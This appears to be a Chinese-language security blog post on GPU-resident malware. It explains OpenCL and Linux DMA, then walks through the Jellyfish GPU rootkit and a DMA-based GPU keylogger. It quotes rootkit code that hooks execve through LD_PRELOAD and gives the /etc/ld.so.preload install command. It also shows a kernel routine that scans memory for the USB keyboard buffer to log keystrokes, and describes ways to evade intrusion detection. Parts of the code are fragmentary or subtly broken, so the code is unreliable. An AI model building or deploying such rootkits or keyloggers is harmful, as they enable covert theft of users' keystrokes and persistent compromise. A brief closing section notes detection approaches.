GPU keylogger && GPU Based rootkit(Jellyfish rootkit)

1. OpenCL
2. Linux DMA(Direct Memory Access)
3. GPU rootkit PoC by Team Jellyfish
4. GPU keylogger
5. DMA Hack

1. 1.0主要由一个并行计算API
2. 一种针对此类计算的编程语言组成
3. C99编程语言并行扩展子集 
4. 适于各种类型异构处理器的坐标数据和基于任务并行计算API
5. 基于IEEE 754标准的数字条件
6. 与OpenGL、OpenGL ES和其他图形类API高效互通

1. OpenCL平台API
平台API定义了宿主机程序发现OpenCL设备所用的函数以及这些函数的功能，另外还定义了为 OpenCL应用创建上下文的函数

2. OpenCL运行时API
这个API管理上下文来创建命令队列以及运行时发生的其他操作。例如，将命令提交到命令队列的函数就来自OpenCL运行时API。

3. OpenCL编程语言
这是用来编写内核代码的编程语言。它基于ISO C99标准的一个扩展子集，因此通常称为OpenCL C编程语言 

http://www.oschina.net/p/opencl/
http://baike.baidu.com/link?url=OakatzpraCPNh7EQR1QAbZMwbMXpe14IQqXAg62erf7WA3pKuUeh4AXvXOh6Gbsn3gi0qw0wS5TS-cS4ZGmE9_
http://blog.csdn.net/leonwei/article/details/8880012

1. 软件请求数据(通过一个函数例如 read)
    1) 当一个进程A调用 read，驱动方法分配一个 DMA 缓冲并引导硬件来传输它的数据到那个缓冲，这个请求进程A被置为睡眠.
    2) 硬件写数据到这个 DMA 缓冲并且在它完成时引发一个中断 
    3) 中断处理获得输入数据，确认中断，并且唤醒进程A，它现在可以读数据了.

2. 硬件异步推数据到系统 
    1) 硬件引发一个中断来宣告新数据已经到达.
    2) 中断处理分配一个缓冲并且告知硬件在哪里传输数据.
    3) 外设写数据到缓冲并且引发另一个中断当完成时.
    4) 处理者分派新数据，唤醒任何相关的进程，并且负责杂务.
//异步方法的变体常常在网卡中见到. 这些卡常常期望见到一个在内存中和处理器共享的环形缓冲(常常被称为一个 DMA 的缓冲); 每个到来的报文被放置在环中下一个可用的缓冲, 并且发出一个中断. 驱动接着传递网络本文到内核其他部分并且在环中放置一个新 DMA 缓冲.

int dad_transfer(struct dad_dev *dev, int write, void *buffer, size_t count)
{
    dma_addr_t bus_addr;

    /* Map the buffer for DMA */
    dev->dma_dir = (write ? DMA_TO_DEVICE : DMA_FROM_DEVICE);
    dev->dma_size = count;
    bus_addr = dma_map_single(&dev->pci_dev->dev, buffer, count,

    dev->dma_dir);
    dev->dma_addr = bus_addr;

    /* Set up the device */
    writeb(dev->registers.command, DAD_CMD_DISABLEDMA);
    writeb(dev->registers.command, write ? DAD_CMD_WR : DAD_CMD_RD);
    writel(dev->registers.addr, cpu_to_le32(bus_addr));
    writel(dev->registers.len, cpu_to_le32(count));

    /* Start the operation */
    writeb(dev->registers.command, DAD_CMD_ENABLEDMA);
    return 0; 
} 

http://www.linuxjournal.com/article/7104
http://www.xml.com/ldd/chapter/book/ch13.html
http://blog.csdn.net/crazyjiang/article/details/7934270

1. 目前网络上还没有分析GPU恶意软件的工具 
2. 可以通过DMA（直接内存存取）监听主机CPU内存 
3. GPU可以用于快速的数学计算 
4. 关闭之后恶意内存仍然存留于GPU内 

1. 安装了OpenCL驱动或ICDS
2. Nvidia或AMD显卡(英特尔支持AMD SDK)
3. 改变rootkit/kit.c文件中的第103行，将其中的服务器IP改成你想监视的GPU客户端所在机器的IP

client listener; let buffers stay stored in gpu until you send magic packet from server

关于LD_PRELOAD劫持技术的相关知识，请参阅另一篇文章
http://www.cnblogs.com/LittleHann/p/3854977.html
//搜索：0x1: LD_PRELOAD动态连接.so函数劫持

int execve(const char *filename, const char **argv, const char **envp)
{
    jelly_init();
    jelly->dev = create_device();
    jelly->ctx = create_ctx(&jelly->dev);
    jelly->program = build_program(jelly->ctx, jelly->dev, __JELLYFISH__);

    strcpy(buffer, "executed filename: ");
    strcat(buffer, filename);

    limit_buf(buffer);
    log = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer, &err);
    output = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer2, &err);
    
    if(err < 0)
    {
        // buffer failed
    }
    // device command queue
    jelly->cq = clCreateCommandQueue(jelly->ctx, jelly->dev, 0, &err);
    if(err < 0)
    {
        // queue failed
    }
    
    // gpu kernel thread
    jelly->kernels[5] = clCreateKernel(jelly->program, log_execve, &err);
    if(err < 0)
    {
        // gpu kernel failed
    }
    // gpu kernel args
    err = clSetKernelArg(jelly->kernels[5], 0, sizeof(cl_mem), &log);
    err |= clSetkernelArg(jelly->kernels[5], 0, sizeof(cl_mem), &output);
    if(err < 0)
    {
        // args failed
    }
    // host-device comm
    err = clEnqueueNDRangeKernel(jelly->cq, jelly->kernels[5], 1, NULL, &global_size, &local_size, 0, NULL, NULL);
    if(err < 0)
    {
        // enqueue failed
    }

    // buffer is now inside gpu
    /*
    if(server == connected)
    {
        dump gpu data
        free buffer
    } 
    else
    {
        do not free buffer
        continue
    }
    */
    // release gpu memory then start over when syscall is called again
    clReleaseContext(jelly->ctx);
    clReleaseProgram(jelly->program);
    clReleaseMemObject(log);
    clReleaseMemObject(output);
    clReleaseCommandQueue(jelly->cq);
    clReleaseKernel(jelly->kernels[5]);
    return syscall[SYS_EXECVE].syscall_func(filename, argv, envp);
}

void jelly_init()
{
    int i;
    for(i = 0; i < SYSCALL_SIZE; i++)
    {
        jelly->dev = create_device();
        jelly->ctx = create_ctx(&jelly->dev);
        jelly->program = build_program(jelly->ctx, jelly->dev, __JELLYXOR__);

        strcpy(buffer, syscall_table[i]);
        /* stick it in the xor blender! */
        input = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer, &err);
        local = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer2, &err);
        group = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer3, &err);
        if(err < 0)
        {
            // buffer failed
        }
        // device command queue
        jelly->cq = clCreateCommandQueue(jelly->ctx, jelly->dev, 0, &err);
        if(err < 0)
        {
            // queue failed
        }
        // gpu kernel thread
        jelly->kernels[7] = clCreateKernel(jelly->program, jelly_xor, &err);
        if(err < 0)
        {
            // gpu kernel failed
        }
        // gpu kernel args
        err = clSetKernelArg(jelly->kernels[7], 0, sizeof(cl_mem), &input);
        err |= clSetKernelArg(jelly->kernels[7], 1, sizeof(cl_mem), &local);
        err |= clSetKernelArg(jelly->kernels[7], 2, sizeof(cl_mem), &group);
        if(err < 0)
        {
            // args failed
        }
        // host-device comm
        err = clEnqueueNDRangeKernel(jelly->cq, jelly->kernels[7], 1, NULL, &global_xor_size, &local_xor_size, 0, NULL, NULL);
        if(err < 0)
        {
            // enqueue failed
        }
        // read buf from gpu
        err = clEnqueueReadBuffer(jelly->cq, output, CL_TRUE, 0, sizeof(buffer3), buffer3, 0, NULL, NULL);
        if(err < 0)
        {
            // read buffer failed
        } 
        else
        {
            // xor‘ed syscall example directly from gpu
            syscall[i].syscall_func = dlsym(RTLD_NEXT, buffer3);
            buffer3 = "";
            buffer2 = "";
            buffer = "";
        }
        clReleaseContext(jelly->ctx);
        clReleaseProgram(jelly->program);
        clReleaseMemObject(input);
        clReleaseMemObject(local);
        clReleaseMemObject(group);
        clReleaseCommandQueue(jelly->cq);
        clReleaseKernel(jelly->kernels[7]);
    }
}

1. rootkit代码被编译为.so文件
2. 设置LD_PRELOAD配置: echo $(INSTALL)/jellyfish.so > /etc/ld.so.preload
3. 用户态的所有使用到glibc标准库的进程都会载入rootkit so，从而运行GPU内存态的rootkit程序

http://www.freebuf.com/news/66803.html
https://github.com/x0r1/jellyfish

1. tiny hardware devices
2. or more conveniently, in software
Software keyloggers can be implemented either at 
    1) the user level: User-level keyloggers generally use high-level APIs to monitor keystrokes
    2) kernel level: kernel level keyloggers run inside the OS kernel and record all data originating from the keyboard.
    Typically, a kernel level keylogger hooks specific system calls or driver functions. The injected malicious code is programmed to capture all user keystrokes passed through the hooked function call

1. One of the primary challenges of this design is how to locate the memory address of the keyboard buffer
2. the keyboard buffer is not exported in the kernel’s symbol table, making it not accessible directly by loadable modules 
3. the memory space allocated for data structures is different after every system boot or after unplugging and plugging back in the device. Typically, loadable modules
allocate memory dynamically, hence object addresses are not necessarily the same after a system reboot
4. the OS can apply certain randomization algorithms to hinder an attacker that tries to predict an object’s address.    
To overcome the randomized placement of the keyboard buffer, the attacker has to scan the whole memory. As a consequence, our GPU-based keystroke logger consists of
two main components: 
    1) a CPU-based component that is executed once, at the bootstrap phase, with the task of locating the address of the keyboard buffer in main memory,
    2) a GPU-based component that monitors, via DMA, the keyboard buffer and records all keystroke events.

struct urb 
{
    /* private: usb core and host controller only fields in the urb */
    struct kref kref;        /* reference count of the URB */
    void *hcpriv;            /* private data for host controller */
    atomic_t use_count;        /* concurrent submissions counter */
    atomic_t reject;        /* submissions will fail */
    int unlinked;            /* unlink error code */

    /* public: documented fields in the urb that can be used by drivers */
    struct list_head urb_list;    /* list head for use by the urb‘s
                     * current owner */
    struct list_head anchor_list;    /* the URB may be anchored */
    struct usb_anchor *anchor;
    struct usb_device *dev;     /* (in) pointer to associated device */
    struct usb_host_endpoint *ep;    /* (internal) pointer to endpoint */
    unsigned int pipe;        /* (in) pipe information */
    int status;            /* (return) non-ISO status */
    unsigned int transfer_flags;    /* (in) URB_SHORT_NOT_OK | ...*/
    void *transfer_buffer;        /* (in) associated data buffer */
    dma_addr_t transfer_dma;    /* (in) dma addr for transfer_buffer */
    struct usb_sg_request *sg;    /* (in) scatter gather buffer list */
    int num_sgs;            /* (in) number of entries in the sg list */
    u32 transfer_buffer_length;    /* (in) data buffer length */
    u32 actual_length;        /* (return) actual transfer length */
    unsigned char *setup_packet;    /* (in) setup packet (control only) */
    dma_addr_t setup_dma;        /* (in) dma addr for setup_packet */
    int start_frame;        /* (modify) start frame (ISO) */
    int number_of_packets;        /* (in) number of ISO packets */
    int interval;            /* (modify) transfer interval
                     * (INT/ISO) */
    int error_count;        /* (return) number of ISO errors */
    void *context;            /* (in) context for completion */
    usb_complete_t complete;    /* (in) completion routine */
    struct usb_iso_packet_descriptor iso_frame_desc[0];
                    /* (in) ISO ONLY */
};

static int __init scan_start(void){
unsigned long long i;

for(i = 0; i < ULLONG_MAX; i += 0x10)
{
    struct urb *urbp = (struct urb *)x(i);
    if(((urbp->dev % 0x400) == 0) &&    //we begin to search for pointers to USB device structures. Such pointers are memory-aligned to 0x400 boundaries
       ((urbp->transfer_dma % 0x20) == 0) &&    //the corresponding transfer_dma fields are aligned to 0x20 boundaries
       (urbp->transfer_buffer_length == 8) &&    //the field transfer_buffer_length contains the appropriate length (8 bytes)
       (urbp->transfer_buffer != NULL) &&
       /*
    the product field contains any of the substrings “usb” and “keyboard” (for wired USB keyboards), 
    or “usb” and receiver” (for wireless keyboard/mouse sets).
       */
       strncmp(urbp->dev->product, "usb", 32) &&    
       strncmp(urbp->dev->product, "keyboard", 32))
       {
           // found possible keyboard buffer
       char* kbuf = (char *) kmalloc(sizeof(urbp->transfer_buffer), GFP_KERNEL);
       kbuf = urbp->transfer_buffer;
       write_to_file(log, kbuf, sizeof(kbuf));
           char* newline = "\n";
       write_to_file(log, newline, sizeof(newline));
       }
}

1. 键盘是USB外设的一种，Linux将键盘视为一种字符设备，每个USB外设都对应于内存中的一个struct urb实例
2. 因为内存中的struct urb实例每次加载(键盘插拔)都会变动，因此借助/dev/mem、/dev/kmem内核接口文件，在超级用户权限下对物理内存进行遍历，找到"struct urb->transfer_buffer"，即保存键盘击键缓存的内存地址
3. 寻找键盘数据缓存内存地址采取了"特征匹配"的思路，即目标数据结构满足某些特征(内存地址对齐、字段值)
4. NVIDIA CUDA devices和用户态GPU管理程序(host GPU controller process)共享一块内存，因此，如果要通过GPU读取键盘数据buffer，就需要将键盘数据buffer映射到用户态GPU管理程序(host GPU controller process)的虚拟内存空间中，这可以通过修改目标进程的页表来实现(需要借助LSM实现)
    1) 在初始化阶段，controller process调用mmap系统调用，申请了一大块内存
    2) 在完成键盘数据buffer的内核内存搜索之后，将mmap申请的这块内存重映射到键盘数据buffer所在的内存地址，这样，controller process(同时存在于GPU中的keylogger进程)就可以对键盘数据buffer进行监控，即GPU获取键盘buffer内存地址
    3) 在GPU对键盘buffer进行监控之后，controller process调用munmap，释放之前申请的内存，这样，controller process对键盘buffer的引用就会消失，以此来躲避基于"内存映射恶意映射检测"的入侵检测/杀软的检测
    4) 这里要理解的是，Rootkit这里通过修改进程的页表的唯一目的只是: 让GPU中的进程知道键盘buffer内存地址，获取地址后立即释放内存映射，之后的的内存读取全部通过DMA完成，不需要任何CPU交互
5. Linux虚拟内存对物理内存提供了一层"保护视图"，进程(即使是GPU中进程)不能任意读取整个物理内存，这对我们遍历扫描键盘缓存地址造成了困难，故采用DMA技术绕过这个限制
6. GPU、GPU Memory就相当于另一套CPU、内存，只是大多数的入侵/恶意检测并不对GPU进行有效检测
7. 全部工作完成后，GPU中的keylogger进程开始周期性(100ms)的对键盘buffer进行监控，捕获到的原始码被转化为ASCII字符，并临时保存在GPU内存中(显卡独有的内存)
8. 在此之上，还可以利用GPU的并行计算能力，对捕获的击键数据进行实时分析处理，例如
    1) 提取关键字
    2) 正则匹配

1. GPU Code Analysis
NVIDIA recently released cuda-gdb and cuda-memcheck, two debugger tools for CUDA applications

2. Runtime Detection
A possible mechanism for the detection of GPU-assisted malware can be based on the observation of DMA side effects. DMA malware has DMA side effects that can be reliably measured.
加强对DMA访问的管控

http://www.cs.columbia.edu/~mikepo/papers/gpukeylogger.eurosec13.pdf
https://github.com/x0r1/Demon 

1. 直接内存存取(DMA)是一种硬件机制，它允许外设组件来直接传输它们的 I/O 数据到和从主内存，而不需要包含系统处理器 
2. DMA是双向的，即数据流在外设和主内存之间双向流动
3. 传统意义上说，内存的读写都要经过CPU的控制，到汇编这一层就是mov指令，但是DMA打破了这个规约
4. 传统意义上说，CPU是计算机中唯一一个计算单元，但是GPU打破了这个规约
5. 操作系统对输入输出的访问控制的"唯一路径"这个前提不再存在了，如果输入控制没做好，安全问题就就会伴随而来

6. 使用DMA技术可以使用类似Linux 4.0实现的hotpatch技术
    1) 在外设(硬盘文件)中放置patchcode 
    2) DMA可以让外设(硬盘文件)向主物理内存直接写入数据
    3) Hook DMA write function，使其写入目标地址重定向到Ring0需要Patch的内存地址
    4) 触发外设的DMA写入，让文件中的patchcode写入Ring0的指定地址
    5) 完成Hotpatch